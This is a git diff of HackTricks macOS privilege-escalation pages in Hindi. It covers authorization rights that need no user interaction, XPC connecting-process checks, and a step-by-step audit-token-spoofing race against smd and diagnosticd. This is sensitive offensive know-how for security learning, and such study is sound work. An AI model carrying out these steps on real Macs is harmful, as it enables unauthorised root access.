दायरे हैं। इनमें से कुछ को [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) में परिभाषित किया गया है (आप [यहाँ सभी को पा सकते हैं](https://www.dssw.co.uk/reference/authorization-rights/)), लेकिन संक्षेप में:
नाममानविवरण
kAuthorizationRuleClassAllowallowकोई भी
kAuthorizationRuleClassDenydenyकोई नहीं
kAuthorizationRuleIsAdminis-adminवर्तमान उपयोगकर्ता को एक व्यवस्थापक होना चाहिए (व्यवस्थापक समूह के अंदर)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerउपयोगकर्ता से प्रमाणीकरण करने के लिए कहें।
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminउपयोगकर्ता से प्रमाणीकरण करने के लिए कहें। उसे एक व्यवस्थापक होना चाहिए (व्यवस्थापक समूह के अंदर)
kAuthorizationRightRuleruleनियम निर्दिष्ट करें
kAuthorizationCommentcommentअधिकार पर कुछ अतिरिक्त टिप्पणियाँ निर्दिष्ट करें
### अधिकारों की सत्यापन -`HelperTool/HelperTool.m` में फ़ंक्शन **`readLicenseKeyAuthorization`** यह जांचता है कि क्या कॉलर को **ऐसी विधि** को **निष्पादित** करने के लिए अधिकृत किया गया है, फ़ंक्शन **`checkAuthorization`** को कॉल करके। यह फ़ंक्शन यह जांचेगा कि कॉलिंग प्रक्रिया द्वारा भेजा गया **authData** **सही प्रारूप** में है और फिर यह जांचेगा कि विशेष विधि को कॉल करने के लिए **क्या आवश्यक है**। यदि सब कुछ ठीक है तो **वापस किया गया `error` `nil` होगा**: +`HelperTool/HelperTool.m` में फ़ंक्शन **`readLicenseKeyAuthorization`** यह जांचता है कि क्या कॉलर को **ऐसी विधि** को **निष्पादित करने** के लिए अधिकृत किया गया है, फ़ंक्शन **`checkAuthorization`** को कॉल करके। यह फ़ंक्शन यह जांचेगा कि कॉलिंग प्रक्रिया द्वारा भेजा गया **authData** **सही प्रारूप** में है और फिर यह जांचेगा कि विशेष विधि को कॉल करने के लिए **क्या आवश्यक है**। यदि सब कुछ ठीक है तो **वापसी `error` `nil` होगी**: ```objectivec - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command { @@ -228,7 +228,7 @@ assert(junk == errAuthorizationSuccess); return error; } ``` -ध्यान दें कि उस विधि को कॉल करने के लिए आवश्यकताओं की **जांच करने के लिए** फ़ंक्शन `authorizationRightForCommand` केवल पूर्व में टिप्पणी किए गए ऑब्जेक्ट **`commandInfo`** की जांच करेगा। फिर, यह **`AuthorizationCopyRights`** को कॉल करेगा यह जांचने के लिए कि **क्या इसके पास फ़ंक्शन को कॉल करने के अधिकार हैं** (ध्यान दें कि फ्लैग उपयोगकर्ता के साथ इंटरैक्शन की अनुमति देते हैं)। +ध्यान दें कि उस विधि को कॉल करने के लिए आवश्यकताओं की **जांच करने के लिए** फ़ंक्शन `authorizationRightForCommand` केवल पूर्व में टिप्पणी किए गए ऑब्जेक्ट **`commandInfo`** की जांच करेगा। फिर, यह **`AuthorizationCopyRights`** को कॉल करेगा यह जांचने के लिए कि **क्या इसके पास अधिकार हैं** फ़ंक्शन को कॉल करने के लिए (ध्यान दें कि फ्लैग उपयोगकर्ता के साथ इंटरैक्शन की अनुमति देते हैं)। इस मामले में, फ़ंक्शन `readLicenseKeyAuthorization` को कॉल करने के लिए `kCommandKeyAuthRightDefault` को `@kAuthorizationRuleClassAllow` पर परिभाषित किया गया है। इसलिए **कोई भी इसे कॉल कर सकता है**। @@ -246,15 +246,15 @@ security authorizationdb read com.apple.safaridriver.allow ``` ### Permissive rights -आप **सभी अनुमतियों की कॉन्फ़िगरेशन** [**यहां**](https://www.dssw.co.uk/reference/authorization-rights/) पा सकते हैं, लेकिन संयोजन जो उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होगी, वे होंगे: +आप **सभी अनुमति कॉन्फ़िगरेशन** [**यहां**](https://www.dssw.co.uk/reference/authorization-rights/) पा सकते हैं, लेकिन संयोजन जो उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होगी वे हैं: 1. **'authenticate-user': 'false'** - यह सबसे सीधा कुंजी है। यदि इसे `false` पर सेट किया गया है, तो यह निर्दिष्ट करता है कि उपयोगकर्ता को इस अधिकार को प्राप्त करने के लिए प्रमाणीकरण प्रदान करने की आवश्यकता नहीं है। -- इसका उपयोग **नीचे दिए गए 2 में से एक के साथ या उपयोगकर्ता को संबंधित समूह को इंगित करने के लिए** किया जाता है। +- इसका उपयोग **नीचे दिए गए 2 में से एक के संयोजन में या उस समूह को इंगित करने के लिए किया जाता है** जिसमें उपयोगकर्ता को शामिल होना चाहिए। 2. **'allow-root': 'true'** -- यदि एक उपयोगकर्ता रूट उपयोगकर्ता के रूप में कार्य कर रहा है (जिसके पास उच्च अनुमतियाँ हैं), और यह कुंजी `true` पर सेट है, तो रूट उपयोगकर्ता संभावित रूप से बिना किसी अतिरिक्त प्रमाणीकरण के इस अधिकार को प्राप्त कर सकता है। हालाँकि, आमतौर पर, रूट उपयोगकर्ता स्थिति प्राप्त करने के लिए पहले से ही प्रमाणीकरण की आवश्यकता होती है, इसलिए यह अधिकांश उपयोगकर्ताओं के लिए "कोई प्रमाणीकरण नहीं" परिदृश्य नहीं है। +- यदि एक उपयोगकर्ता रूट उपयोगकर्ता के रूप में कार्य कर रहा है (जिसके पास उच्च अनुमति है), और यह कुंजी `true` पर सेट है, तो रूट उपयोगकर्ता संभावित रूप से इस अधिकार को बिना किसी और प्रमाणीकरण के प्राप्त कर सकता है। हालाँकि, आमतौर पर, रूट उपयोगकर्ता स्थिति प्राप्त करने के लिए पहले से ही प्रमाणीकरण की आवश्यकता होती है, इसलिए यह अधिकांश उपयोगकर्ताओं के लिए "कोई प्रमाणीकरण नहीं" परिदृश्य नहीं है। 3. **'session-owner': 'true'** -- यदि इसे `true` पर सेट किया गया है, तो सत्र का मालिक (वर्तमान में लॉग इन किया हुआ उपयोगकर्ता) स्वचालित रूप से इस अधिकार को प्राप्त करेगा। यदि उपयोगकर्ता पहले से ही लॉग इन है, तो यह अतिरिक्त प्रमाणीकरण को बायपास कर सकता है। +- यदि इसे `true` पर सेट किया गया है, तो सत्र का मालिक (वर्तमान में लॉग इन किया गया उपयोगकर्ता) स्वचालित रूप से इस अधिकार को प्राप्त करेगा। यदि उपयोगकर्ता पहले से ही लॉग इन है तो यह अतिरिक्त प्रमाणीकरण को बायपास कर सकता है। 4. **'shared': 'true'** - यह कुंजी प्रमाणीकरण के बिना अधिकार नहीं देती है। इसके बजाय, यदि इसे `true` पर सेट किया गया है, तो इसका मतलब है कि एक बार जब अधिकार को प्रमाणीकरण किया गया है, तो इसे कई प्रक्रियाओं के बीच साझा किया जा सकता है बिना प्रत्येक को फिर से प्रमाणीकरण की आवश्यकता के। लेकिन अधिकार का प्रारंभिक अनुदान अभी भी प्रमाणीकरण की आवश्यकता होगी जब तक कि इसे अन्य कुंजियों जैसे कि `'authenticate-user': 'false'` के साथ संयोजित नहीं किया गया हो। @@ -269,19 +269,19 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, Rights with 'session-owner': 'true': authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui ``` -## अधिकृतता को उलटना +## Reversing Authorization -### यह जांचना कि क्या EvenBetterAuthorization का उपयोग किया गया है +### Checking if EvenBetterAuthorization is used -यदि आप फ़ंक्शन: **`[HelperTool checkAuthorization:command:]`** पाते हैं, तो यह संभवतः प्रक्रिया द्वारा पहले उल्लेखित स्कीमा का उपयोग कर रही है: +यदि आप फ़ंक्शन: **`[HelperTool checkAuthorization:command:]`** पाते हैं, तो यह संभवतः प्रक्रिया पहले उल्लेखित स्कीमा का उपयोग कर रही है:
यदि यह फ़ंक्शन `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` जैसे फ़ंक्शंस को कॉल कर रहा है, तो यह [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) का उपयोग कर रहा है। -यह देखने के लिए **`/var/db/auth.db`** की जांच करें कि क्या उपयोगकर्ता इंटरैक्शन के बिना कुछ विशेषाधिकार प्राप्त कार्रवाई को कॉल करने के लिए अनुमतियाँ प्राप्त करना संभव है। +यह देखने के लिए **`/var/db/auth.db`** की जांच करें कि क्या उपयोगकर्ता इंटरैक्शन के बिना कुछ विशेषाधिकार प्राप्त क्रिया को कॉल करने की अनुमति प्राप्त करना संभव है। -### प्रोटोकॉल संचार +### Protocol Communication फिर, आपको XPC सेवा के साथ संचार स्थापित करने के लिए प्रोटोकॉल स्कीमा खोजने की आवश्यकता है। diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md index 54da4d954..a9a54c228 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md @@ -1,28 +1,28 @@ -# macOS XPC कनेक्टिंग प्रोसेस चेक +# macOS XPC Connecting Process Check {{#include ../../../../../../banners/hacktricks-training.md}} -## XPC कनेक्टिंग प्रोसेस चेक +## XPC Connecting Process Check -जब एक XPC सेवा से कनेक्शन स्थापित किया जाता है, तो सर्वर यह जांच करेगा कि कनेक्शन की अनुमति है या नहीं। ये सामान्यतः किए जाने वाले चेक हैं: +जब एक XPC सेवा से कनेक्शन स्थापित किया जाता है, तो सर्वर यह जांच करेगा कि क्या कनेक्शन की अनुमति है। ये सामान्यतः किए जाने वाले चेक हैं: -1. जांचें कि कनेक्टिंग **प्रोसेस एक Apple-साइन किए गए** प्रमाणपत्र के साथ साइन किया गया है (जो केवल Apple द्वारा दिया जाता है)। +1. जांचें कि क्या कनेक्ट करने वाली **प्रक्रिया एक Apple-हस्ताक्षरित** प्रमाणपत्र के साथ साइन की गई है (जो केवल Apple द्वारा दी जाती है)। - यदि यह **सत्यापित नहीं है**, तो एक हमलावर एक **नकली प्रमाणपत्र** बना सकता है जो किसी अन्य चेक से मेल खाता हो। -2. जांचें कि कनेक्टिंग प्रोसेस **संस्थान के प्रमाणपत्र** के साथ साइन किया गया है (टीम आईडी सत्यापन)। +2. जांचें कि क्या कनेक्ट करने वाली प्रक्रिया **संस्थान के प्रमाणपत्र** के साथ साइन की गई है (टीम आईडी सत्यापन)। - यदि यह **सत्यापित नहीं है**, तो Apple से **कोई भी डेवलपर प्रमाणपत्र** साइनिंग के लिए उपयोग किया जा सकता है, और सेवा से कनेक्ट किया जा सकता है। -3. जांचें कि कनेक्टिंग प्रोसेस **एक उचित बंडल आईडी** रखता है। -- यदि यह **सत्यापित नहीं है**, तो उसी संगठन द्वारा **साइन किए गए किसी भी टूल** का उपयोग XPC सेवा के साथ इंटरैक्ट करने के लिए किया जा सकता है। -4. (4 या 5) जांचें कि कनेक्टिंग प्रोसेस में **एक उचित सॉफ़्टवेयर संस्करण संख्या** है। -- यदि यह **सत्यापित नहीं है**, तो एक पुराना, असुरक्षित क्लाइंट, जो प्रोसेस इंजेक्शन के प्रति संवेदनशील है, XPC सेवा से कनेक्ट करने के लिए उपयोग किया जा सकता है, भले ही अन्य चेक लागू हों। -5. (4 या 5) जांचें कि कनेक्टिंग प्रोसेस में खतरनाक अधिकारों के बिना **हर्डनड रनटाइम** है (जैसे कि वे जो मनमाने लाइब्रेरी लोड करने या DYLD env vars का उपयोग करने की अनुमति देते हैं)। +3. जांचें कि क्या कनेक्ट करने वाली प्रक्रिया **एक उचित बंडल आईडी** रखती है। +- यदि यह **सत्यापित नहीं है**, तो उसी संगठन द्वारा **हस्ताक्षरित कोई भी उपकरण** XPC सेवा के साथ इंटरैक्ट करने के लिए उपयोग किया जा सकता है। +4. (4 या 5) जांचें कि क्या कनेक्ट करने वाली प्रक्रिया में **एक उचित सॉफ़्टवेयर संस्करण संख्या** है। +- यदि यह **सत्यापित नहीं है**, तो एक पुराना, असुरक्षित क्लाइंट, जो प्रक्रिया इंजेक्शन के प्रति संवेदनशील है, XPC सेवा से कनेक्ट करने के लिए उपयोग किया जा सकता है, भले ही अन्य चेक लागू हों। +5. (4 या 5) जांचें कि क्या कनेक्ट करने वाली प्रक्रिया में खतरनाक अधिकारों के बिना **हर्डनड रनटाइम** है (जैसे कि वे जो मनमाने लाइब्रेरी लोड करने या DYLD env vars का उपयोग करने की अनुमति देते हैं)। 1. यदि यह **सत्यापित नहीं है**, तो क्लाइंट **कोड इंजेक्शन के प्रति संवेदनशील** हो सकता है। -6. जांचें कि कनेक्टिंग प्रोसेस में एक **अधिकार** है जो इसे सेवा से कनेक्ट करने की अनुमति देता है। यह Apple बाइनरी के लिए लागू है। -7. **सत्यापन** कनेक्टिंग **क्लाइंट के ऑडिट टोकन** पर **आधारित** होना चाहिए **इसके प्रोसेस आईडी (PID)** के बजाय क्योंकि पूर्व **PID पुन: उपयोग हमलों** को रोकता है। +6. जांचें कि क्या कनेक्ट करने वाली प्रक्रिया में एक **अधिकार** है जो इसे सेवा से कनेक्ट करने की अनुमति देता है। यह Apple बाइनरी के लिए लागू है। +7. **सत्यापन** कनेक्ट करने वाले **क्लाइंट के ऑडिट टोकन** पर **आधारित** होना चाहिए **इसके प्रक्रिया आईडी (PID)** के बजाय, क्योंकि पूर्व **PID पुन: उपयोग हमलों** को रोकता है। - डेवलपर्स **कभी-कभी ऑडिट टोकन** API कॉल का उपयोग करते हैं क्योंकि यह **निजी** है, इसलिए Apple इसे **किसी भी समय बदल** सकता है। इसके अतिरिक्त, निजी API का उपयोग Mac App Store ऐप्स में अनुमति नहीं है। - यदि विधि **`processIdentifier`** का उपयोग किया जाता है, तो यह संवेदनशील हो सकता है। - **`xpc_dictionary_get_audit_token`** का उपयोग **`xpc_connection_get_audit_token`** के बजाय किया जाना चाहिए, क्योंकि बाद वाला भी [कुछ स्थितियों में संवेदनशील हो सकता है](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)। -### संचार हमले +### Communication Attacks PID पुन: उपयोग हमले के बारे में अधिक जानकारी के लिए जांचें: @@ -30,17 +30,17 @@ PID पुन: उपयोग हमले के बारे में अध macos-pid-reuse.md {{#endref}} -**`xpc_connection_get_audit_token`** हमले के बारे में अधिक जानकारी के लिए जांचें: +अधिक जानकारी के लिए **`xpc_connection_get_audit_token`** हमले की जांच करें: {{#ref}} macos-xpc_connection_get_audit_token-attack.md {{#endref}} -### ट्रस्टकैश - डाउनग्रेड हमलों की रोकथाम +### Trustcache - Downgrade Attacks Prevention -ट्रस्टकैश एक रक्षात्मक विधि है जो Apple सिलिकॉन मशीनों में पेश की गई है जो Apple बाइनरी के CDHSAH का एक डेटाबेस संग्रहीत करती है ताकि केवल अनुमत गैर-संशोधित बाइनरी को निष्पादित किया जा सके। जो डाउनग्रेड संस्करणों के निष्पादन को रोकता है। +Trustcache एक रक्षात्मक विधि है जो Apple Silicon मशीनों में पेश की गई है, जो Apple बाइनरी के CDHSAH का एक डेटाबेस संग्रहीत करती है ताकि केवल अनुमत गैर-संशोधित बाइनरी को निष्पादित किया जा सके। जो डाउनग्रेड संस्करणों के निष्पादन को रोकता है। -### कोड उदाहरण +### Code Examples सर्वर इस **सत्यापन** को **`shouldAcceptNewConnection`** नामक एक फ़ंक्शन में लागू करेगा। ```objectivec @@ -49,7 +49,7 @@ macos-xpc_connection_get_audit_token-attack.md return YES; } ``` -ऑब्जेक्ट NSXPCConnection में एक **निजी** प्रॉपर्टी **`auditToken`** है (जो उपयोग की जानी चाहिए लेकिन बदल सकती है) और एक **सार्वजनिक** प्रॉपर्टी **`processIdentifier`** है (जो उपयोग नहीं की जानी चाहिए)। +NSXPCConnection ऑब्जेक्ट में एक **निजी** प्रॉपर्टी **`auditToken`** है (जो उपयोग की जानी चाहिए लेकिन बदल सकती है) और एक **सार्वजनिक** प्रॉपर्टी **`processIdentifier`** है (जो उपयोग नहीं की जानी चाहिए)। जोड़ने वाली प्रक्रिया को कुछ इस तरह से सत्यापित किया जा सकता है: ```objectivec diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md index 754f3d193..e10e08588 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md @@ -8,17 +8,19 @@ यदि आप नहीं जानते कि Mach Messages क्या हैं, तो इस पृष्ठ की जांच करें: + {{#ref}} ../../ {{#endref}} इस समय याद रखें कि ([यहां से परिभाषा](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\ -Mach संदेश एक _mach port_ के माध्यम से भेजे जाते हैं, जो mach kernel में निर्मित एक **एकल रिसीवर, कई प्रेषक संचार** चैनल है। **कई प्रक्रियाएँ संदेश भेज सकती हैं** एक mach port पर, लेकिन किसी भी समय **केवल एकल प्रक्रिया ही इसे पढ़ सकती है**। फ़ाइल वर्णनकर्ताओं और सॉकेट की तरह, mach ports को kernel द्वारा आवंटित और प्रबंधित किया जाता है और प्रक्रियाएँ केवल एक पूर्णांक देखती हैं, जिसका वे उपयोग कर सकते हैं यह इंगित करने के लिए कि वे अपने किस mach ports का उपयोग करना चाहते हैं। +Mach संदेश एक _mach port_ के माध्यम से भेजे जाते हैं, जो कि mach kernel में निर्मित एक **एकल रिसीवर, कई प्रेषक संचार** चैनल है। **कई प्रक्रियाएँ संदेश भेज सकती हैं** एक mach port पर, लेकिन किसी भी समय **केवल एकल प्रक्रिया ही इसे पढ़ सकती है**। फ़ाइल डिस्क्रिप्टर और सॉकेट की तरह, mach ports को kernel द्वारा आवंटित और प्रबंधित किया जाता है और प्रक्रियाएँ केवल एक पूर्णांक देखती हैं, जिसका वे उपयोग कर सकते हैं यह संकेत देने के लिए कि वे अपने किस mach ports का उपयोग करना चाहते हैं। ## XPC Connection यदि आप नहीं जानते कि XPC कनेक्शन कैसे स्थापित किया जाता है, तो जांचें: + {{#ref}} ../ {{#endref}} @@ -28,41 +30,41 @@ Mach संदेश एक _mach port_ के माध्यम से भे आपके लिए जानना दिलचस्प है कि **XPC का अमूर्तता एक-से-एक कनेक्शन है**, लेकिन यह एक ऐसी तकनीक के शीर्ष पर आधारित है जिसमें **कई प्रेषक हो सकते हैं, इसलिए:** - Mach ports एकल रिसीवर, **कई प्रेषक** हैं। -- एक XPC कनेक्शन का ऑडिट टोकन **हाल ही में प्राप्त संदेश से कॉपी किया गया ऑडिट टोकन** है। +- एक XPC कनेक्शन का ऑडिट टोकन **हाल ही में प्राप्त संदेश से कॉपी किया गया** ऑडिट टोकन है। - एक XPC कनेक्शन का **ऑडिट टोकन** प्राप्त करना कई **सुरक्षा जांचों** के लिए महत्वपूर्ण है। -हालांकि पिछली स्थिति आशाजनक लगती है, कुछ परिदृश्य हैं जहां यह समस्याएँ उत्पन्न नहीं करेगा ([यहां से](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): +हालांकि पिछली स्थिति आशाजनक लगती है, कुछ परिदृश्य हैं जहाँ यह समस्याएँ उत्पन्न नहीं करेगा ([यहां से](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): -- ऑडिट टोकन अक्सर एक प्राधिकरण जांच के लिए उपयोग किए जाते हैं यह तय करने के लिए कि कनेक्शन स्वीकार करना है या नहीं। चूंकि यह सेवा पोर्ट पर एक संदेश का उपयोग करके होता है, इसलिए **अभी तक कोई कनेक्शन स्थापित नहीं हुआ है**। इस पोर्ट पर अधिक संदेश केवल अतिरिक्त कनेक्शन अनुरोधों के रूप में संभाले जाएंगे। इसलिए कनेक्शन स्वीकार करने से पहले कोई भी **जांच कमजोर नहीं है** (इसका मतलब यह भी है कि `-listener:shouldAcceptNewConnection:` के भीतर ऑडिट टोकन सुरक्षित है)। इसलिए हम **विशिष्ट क्रियाओं की पुष्टि करने वाले XPC कनेक्शनों की तलाश कर रहे हैं**। -- XPC इवेंट हैंडलर समकालिक रूप से संभाले जाते हैं। इसका मतलब है कि एक संदेश के लिए इवेंट हैंडलर को अगले के लिए कॉल करने से पहले पूरा किया जाना चाहिए, यहां तक कि समवर्ती डिस्पैच कतारों पर भी। इसलिए एक **XPC इवेंट हैंडलर के भीतर ऑडिट टोकन को अन्य सामान्य (गैर-प्रतिक्रिया!) संदेशों द्वारा अधिलेखित नहीं किया जा सकता**। +- ऑडिट टोकन अक्सर एक प्राधिकरण जांच के लिए उपयोग किए जाते हैं यह तय करने के लिए कि कनेक्शन को स्वीकार करना है या नहीं। चूंकि यह सेवा पोर्ट पर एक संदेश का उपयोग करके होता है, इसलिए **अभी तक कोई कनेक्शन स्थापित नहीं हुआ है**। इस पोर्ट पर अधिक संदेश केवल अतिरिक्त कनेक्शन अनुरोधों के रूप में संभाले जाएंगे। इसलिए कनेक्शन स्वीकार करने से पहले कोई भी **जांच कमजोर नहीं है** (इसका मतलब यह भी है कि `-listener:shouldAcceptNewConnection:` के भीतर ऑडिट टोकन सुरक्षित है)। इसलिए हम **विशिष्ट क्रियाओं की पुष्टि करने वाले XPC कनेक्शनों की तलाश कर रहे हैं**। +- XPC इवेंट हैंडलर समकालिक रूप से संभाले जाते हैं। इसका मतलब है कि एक संदेश के लिए इवेंट हैंडलर को अगले के लिए कॉल करने से पहले पूरा होना चाहिए, यहां तक कि समवर्ती डिस्पैच कतारों पर भी। इसलिए एक **XPC इवेंट हैंडलर के भीतर ऑडिट टोकन को अन्य सामान्य (गैर-प्रतिक्रिया!) संदेशों द्वारा अधिलेखित नहीं किया जा सकता**। यह दो अलग-अलग तरीकों से शोषण किया जा सकता है: 1. Variant1: -- **शोषण** **सेवा** **A** और सेवा **B** से **जुड़ता है** +- **शोषण** **सेवा** **A** और सेवा **B** से **जुड़ता** है - सेवा **B** सेवा A में एक **विशिष्ट कार्यक्षमता** को कॉल कर सकता है जिसे उपयोगकर्ता नहीं कर सकता -- सेवा **A** **`xpc_connection_get_audit_token`** को कॉल करता है जबकि _**नहीं**_ एक कनेक्शन के लिए **इवेंट हैंडलर** के भीतर एक **`dispatch_async`** में। -- इसलिए एक **अलग** संदेश **ऑडिट टोकन को अधिलेखित कर सकता है** क्योंकि इसे इवेंट हैंडलर के बाहर असमय भेजा जा रहा है। +- सेवा **A** **`xpc_connection_get_audit_token`** को कॉल करती है जबकि _**नहीं**_ एक कनेक्शन के लिए **इवेंट हैंडलर** के भीतर एक **`dispatch_async`** में। +- इसलिए एक **अलग** संदेश **ऑडिट टोकन को अधिलेखित** कर सकता है क्योंकि इसे इवेंट हैंडलर के बाहर असिंक्रोनस रूप से भेजा जा रहा है। - शोषण **सेवा B को सेवा A के लिए SEND अधिकार** देता है। - इसलिए svc **B** वास्तव में सेवा **A** को **संदेश भेज रहा होगा**। - **शोषण** **विशिष्ट क्रिया को कॉल करने की कोशिश करता है।** एक RC svc **A** इस **क्रिया** के प्राधिकरण की **जांच** करता है जबकि **svc B ने ऑडिट टोकन को अधिलेखित किया** (शोषण को विशेष क्रिया को कॉल करने की अनुमति देता है)। 2. Variant 2: - सेवा **B** सेवा A में एक **विशिष्ट कार्यक्षमता** को कॉल कर सकता है जिसे उपयोगकर्ता नहीं कर सकता - शोषण **सेवा A** से जुड़ता है जो **एक संदेश भेजता है जो एक प्रतिक्रिया की अपेक्षा करता है** एक विशिष्ट **प्रतिक्रिया** **पोर्ट** में। -- शोषण **सेवा** B को एक संदेश भेजता है जो **उस प्रतिक्रिया पोर्ट** को पारित करता है। -- जब सेवा **B प्रतिक्रिया देती है**, यह **संदेश सेवा A को भेजती है**, **जबकि** **शोषण** सेवा A को एक अलग **संदेश भेजता है** जो **विशिष्ट कार्यक्षमता** तक पहुँचने की कोशिश कर रहा है और उम्मीद कर रहा है कि सेवा B से प्रतिक्रिया ऑडिट टोकन को सही समय पर अधिलेखित करेगी (रेस कंडीशन)। +- शोषण **सेवा** B को एक संदेश भेजता है जो **उस प्रतिक्रिया पोर्ट** को पास करता है। +- जब सेवा **B प्रतिक्रिया देती है**, यह **संदेश सेवा A को भेजती है**, **जबकि** **शोषण** सेवा A को एक अलग **संदेश भेजता है** जो **विशिष्ट कार्यक्षमता** तक पहुँचने की कोशिश कर रहा है और उम्मीद कर रहा है कि सेवा B से प्रतिक्रिया ऑडिट टोकन को सही समय पर अधिलेखित कर देगी (रेस कंडीशन)। ## Variant 1: calling xpc_connection_get_audit_token outside of an event handler परिदृश्य: - दो mach सेवाएँ **`A`** और **`B`** जिनसे हम दोनों कनेक्ट कर सकते हैं (सैंडबॉक्स प्रोफ़ाइल और कनेक्शन स्वीकार करने से पहले प्राधिकरण जांच के आधार पर)। -- _**A**_ को एक **विशिष्ट क्रिया** के लिए एक **प्राधिकरण जांच** होनी चाहिए जिसे **`B`** पारित कर सकता है (लेकिन हमारा ऐप नहीं)। +- _**A**_ को एक **विशिष्ट क्रिया** के लिए एक **प्राधिकरण जांच** होनी चाहिए जिसे **`B`** पास कर सकता है (लेकिन हमारा ऐप नहीं)। - उदाहरण के लिए, यदि B के पास कुछ **अधिकार** हैं या यह **रूट** के रूप में चल रहा है, तो यह उसे A से एक विशेष क्रिया करने के लिए कहने की अनुमति दे सकता है। -- इस प्राधिकरण जांच के लिए, **`A`** असमय ऑडिट टोकन प्राप्त करता है, उदाहरण के लिए `dispatch_async` से **`xpc_connection_get_audit_token`** को कॉल करके। +- इस प्राधिकरण जांच के लिए, **`A`** असिंक्रोनस रूप से ऑडिट टोकन प्राप्त करता है, उदाहरण के लिए `dispatch_async` से **`xpc_connection_get_audit_token`** को कॉल करके। > [!CAUTION] -> इस मामले में एक हमलावर एक **रेस कंडीशन** को ट्रिगर कर सकता है जिससे एक **शोषण** होता है जो **A से एक क्रिया करने के लिए** कई बार पूछता है जबकि **B `A` को संदेश भेजता है**। जब RC **सफल** होता है, तो **B** का **ऑडिट टोकन** मेमोरी में कॉपी किया जाएगा **जबकि** हमारे **शोषण** का अनुरोध A द्वारा **संभाला** जा रहा है, जिससे इसे **विशेष क्रिया तक पहुँचने की अनुमति मिलती है जिसे केवल B अनुरोध कर सकता था**। +> इस मामले में एक हमलावर एक **रेस कंडीशन** को ट्रिगर कर सकता है जिससे एक **शोषण** होता है जो **A से एक क्रिया करने के लिए** कई बार पूछता है जबकि **B `A` को संदेश भेजता है**। जब RC **सफल** होता है, तो **B** का **ऑडिट टोकन** मेमोरी में कॉपी किया जाएगा **जबकि** हमारे **शोषण** का अनुरोध A द्वारा **संभाला** जा रहा है, जिससे इसे **विशेष क्रिया तक पहुँच** मिलती है जिसे केवल B अनुरोध कर सकता था। यह **`A`** के रूप में `smd` और **`B`** के रूप में `diagnosticd` के साथ हुआ। [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) फ़ंक्शन का उपयोग एक नए विशेष सहायक टूल को स्थापित करने के लिए किया जा सकता है (जैसे **रूट**)। यदि कोई **रूट के रूप में चलने वाली प्रक्रिया** **smd** से संपर्क करती है, तो कोई अन्य जांच नहीं की जाएगी। @@ -70,14 +72,14 @@ Mach संदेश एक _mach port_ के माध्यम से भे हमले को करने के लिए: -1. मानक XPC प्रोटोकॉल का उपयोग करके `smd` नामक सेवा से **कनेक्शन** प्रारंभ करें। -2. `diagnosticd` से एक द्वितीयक **कनेक्शन** बनाएं। सामान्य प्रक्रिया के विपरीत, दो नए mach ports बनाने और भेजने के बजाय, क्लाइंट पोर्ट भेजने के अधिकार को `smd` कनेक्शन से जुड़े **send right** की एक डुप्लिकेट के साथ प्रतिस्थापित किया जाता है। -3. परिणामस्वरूप, XPC संदेश `diagnosticd` को भेजे जा सकते हैं, लेकिन `diagnosticd` से प्रतिक्रियाएँ `smd` को पुनः मार्गित की जाती हैं। `smd` के लिए, ऐसा प्रतीत होता है कि उपयोगकर्ता और `diagnosticd` दोनों से संदेश एक ही कनेक्शन से उत्पन्न हो रहे हैं। +1. मानक XPC प्रोटोकॉल का उपयोग करके `smd` नामक सेवा से एक **कनेक्शन** प्रारंभ करें। +2. `diagnosticd` से एक द्वितीयक **कनेक्शन** बनाएं। सामान्य प्रक्रिया के विपरीत, दो नए mach ports बनाने और भेजने के बजाय, क्लाइंट पोर्ट भेजने का अधिकार `smd` कनेक्शन से जुड़े **send right** की एक डुप्लिकेट के साथ प्रतिस्थापित किया जाता है। +3. परिणामस्वरूप, XPC संदेश `diagnosticd` को भेजे जा सकते हैं, लेकिन `diagnosticd` से 